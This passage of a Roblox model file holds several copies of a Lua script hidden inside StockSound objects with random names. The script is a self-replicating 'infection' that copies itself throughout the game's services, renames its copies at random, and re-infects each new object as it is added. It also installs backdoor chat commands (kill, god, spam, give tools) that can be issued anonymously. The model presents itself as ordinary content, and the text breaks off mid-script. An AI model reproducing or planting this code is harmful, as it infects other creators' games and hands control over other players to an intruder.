if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX44">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX45">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">apbsjci9</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX46">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">wcn84mi</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX47">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX48">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">b9gch</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX49">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">2xdje</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
